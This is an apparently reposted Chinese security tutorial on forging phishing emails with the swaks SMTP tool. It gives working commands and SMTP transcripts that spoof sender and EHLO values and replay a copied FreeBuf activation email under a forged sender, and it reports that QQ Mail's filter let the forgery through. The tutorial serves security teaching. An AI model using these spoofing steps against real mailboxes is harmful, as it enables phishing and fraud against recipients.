转载

钓鱼邮件初探:黑客是如何进行邮件伪造的?

本文原创作者:dontshoot

免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!

现如今的钓鱼邮件都是通过注册相似的邮箱,或者设置邮箱的显示名称,盼着被害人有看走眼的那一刻,轻信邮件的内容。这种方法需要一定的社工技巧,以及诱导性的语言来诱使被害人上钩。但是对于有一定的经验以及眼力的人来说,还是可以识破骗子的伎俩。

下面我要介绍的这款工具可以最大程度的欺骗你的邮箱,更不要提你的眼睛。当然,此方法不是适用于任何邮箱,毕竟每种邮箱的过滤机制都不相同。gmail在这方面就做的不错。

Swaks - SMTP界的瑞士军刀

安装:kali中自带,或者从 作者网页 下载

基本用法:

swaks –to <要测试的邮箱>      用来测试邮箱的连通性

root@kali:~# swaks --to xxxx@qq.com === Trying mx3.qq.com:25... === Connected to mx3.qq.com. <-  220 newmx59.qq.com MX QQ Mail Server  -> EHLO kali <-  250-newmx59.qq.com <-  250-SIZE 73400320 <-  250-STARTTLS <-  250 OK  -> MAIL FROM:<root@kali> <-  250 Ok  -> RCPT TO:<xxxx@qq.com> <-  250 Ok  -> DATA <-  354 End data with <CR><LF>.<CR><LF>  -> Date: Tue, 05 Jan 2016 23:15:11 -0500  -> To: xxxx@qq.com  -> From: root@kali  -> Subject: test Tue, 05 Jan 2016 23:15:11 -0500  -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/  ->   -> This is a test mailing  ->   -> . <** 550 Mail content denied. http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=20022&&no=1000726  -> QUIT <-  221 Bye === Connection closed with remote host.

前面都返回250ok,说明该邮箱存在,并且可以正常收信。最后可以看到qq邮箱返回550错误,qq官方给出的出错原因:该邮件内容涉嫌大量群发,并且被多数用户投诉为垃圾邮件。

我们可以继续对邮件进行伪造,来绕过qq邮箱的判断

比如:

swaks --to xxxx@qq.com --from info@freebuf.com --ehlo freebuf.com --body hello --header "Subject: hello"

其中:

–from <要显示的发件人邮箱>

–ehlo <伪造的邮件ehlo头>

–body <邮件正文>

–header <邮件头信息,subject为邮件标题>

root@kali:~# swaks --to xxxx@qq.com --from info@freebuf.com --ehlo freebuf.com --body hello --header "Subject: hello" === Trying mx3.qq.com:25... === Connected to mx3.qq.com. <-  220 newmx.qq.com MX QQ Mail Server  -> EHLO freebuf.com <-  250-newmx.qq.com <-  250-SIZE 73400320 <-  250-STARTTLS <-  250 OK  -> MAIL FROM:<info@freebuf.com> <-  250 Ok  -> RCPT TO:<xxxx@qq.com> <-  250 Ok  -> DATA <-  354 End data with <CR><LF>.<CR><LF>  -> Date: Tue, 05 Jan 2016 23:23:09 -0500  -> To: xxxx@qq.com  -> From: info@freebuf.com  -> Subject: hello  -> X-Mailer: swaks v20130209.0 jetmore.org/john/code/swaks/  ->   -> hello  ->   -> . <-  250 Ok: queued as   -> QUIT <-  221 Bye === Connection closed with remote host.

在你ip没有被qq邮箱band的情况下,邮件可以正常发送,返回250 ok。

钓鱼邮件初探:黑客是如何进行邮件伪造的?

到这一步基本上可以满足伪造邮件的要求了,但是qq邮箱会有安全提示,不过在不注意的情况下,基本上普通用户会轻信邮件中的内容。

高级用法:

使用swaks其实还可以进行更高级的邮件伪造,几乎可以伪造邮件中的每一个参数。

–data <源邮件>

首先,我们需要一份正常的邮件

钓鱼邮件初探:黑客是如何进行邮件伪造的?

点击显示邮件原文,把原文复制出来,保存为email.txt

钓鱼邮件初探:黑客是如何进行邮件伪造的?

其中的received可以都删除,该项为接收信息,发信中不需要。to项也可以删除,可以直接用swaks –to来代替。

注意不要忘了加–from 否则qq邮箱会报由kali代发……

swaks --data ./Desktop/email.txt --to xxxx@qq.com --from services@tophant.com
=== Trying mx3.qq.com:25... === Connected to mx3.qq.com. <-  220 newmx.qq.com MX QQ Mail Server  -> EHLO kali <-  250-newmx.qq.com <-  250-SIZE 73400320 <-  250-STARTTLS <-  250 OK  -> MAIL FROM:<services@tophant.com> <-  250 Ok  -> RCPT TO:<xxxx@qq.com> <-  250 Ok  -> DATA <-  354 End data with <CR><LF>.<CR><LF>  -> X-QQ-mid: bizesmtp1t1452053499t679t108  -> X-QQ-SSF: A0100000002000F16x90000A0000000  -> X-QQ-FEAT: JN+C/NT9bLPRA1qtkTz2XI2YtLAH2K0SriLtB4o1q8I8MwPIq85lzXVAE4t7b  ->  OaepuNhlRjNMuNhLJH2pbIQ3JkVf4MP4TXQi2HVPIG8N8dUf6GgxSJyMKya1U+CgOSvNgnP  ->  bbplbVZjkAVzVuoZOc03UetuyeF1A3SpS70fm7O8nzDqx918Tpsf+n3dlMN6UaAEV3SJycL  ->  1JuHYi2/yTQ7J6XJ4bMhJRRbRROkDmpNEgqGw1Sfo66A/oJUz0rf4tLEr7HgNuls18LrqZV  ->  jYfpcX5wglT4lxLNkHZRNBshk=  -> Date: Wed, 6 Jan 2016 12:11:39 +0800  -> Return-Path: services@tophant.com  -> From: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDmnI3liqHlm6LpmJ8=?= <services@tophant.com>  -> Subject: =?utf-8?B?RnJlZUJ1Zi/mvI/mtJ7nm5LlrZDotKbmiLfmv4DmtLvpgq7ku7Y=?=  -> Message-ID: <34db99d2b030c0f7b34bd2c6beca9666@account.tophant.com>  -> X-Priority: 3  -> X-Mailer: PHPMailer 5.1 (phpmailer.sourceforge.net)  -> MIME-Version: 1.0  -> Content-Type: multipart/alternative;  ->  boundary="b1_34db99d2b030c0f7b34bd2c6beca9666"  ->   ->   -> --b1_34db99d2b030c0f7b34bd2c6beca9666  -> Content-Type: text/plain; charset = "utf-8"  -> Content-Transfer-Encoding: 8bit  ->   -> FreeBuf/漏洞盒子账户激活邮件  ->   ->   -> --b1_34db99d2b030c0f7b34bd2c6beca9666  -> Content-Type: text/html; charset = "utf-8"  -> Content-Transfer-Encoding: 8bit  ->   -> 尊敬的FreeBuf/漏洞盒子用户:  ->   您好,您可以点击以下链接激活您的账号:<BR><A href="https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6" target=_blank>https://account.tophant.com/register/activation/token/c5023007b72363de7085504cf922d0c6伪造成功,你还敢点这条链接么</A><BR><BR>本邮件由系统自动发出,请勿回复。  ->   -> 感谢您的使用。  -> FreeBuf/漏洞盒子管理团队  ->   ->   ->   -> --b1_34db99d2b030c0f7b34bd2c6beca9666--  ->   -> . <-  250 Ok: queued as   -> QUIT <-  221 Bye === Connection closed with remote host.

发送成功,qq邮箱没报垃圾邮件,也没报有害。

钓鱼邮件初探:黑客是如何进行邮件伪造的?

正文到此结束
Loading...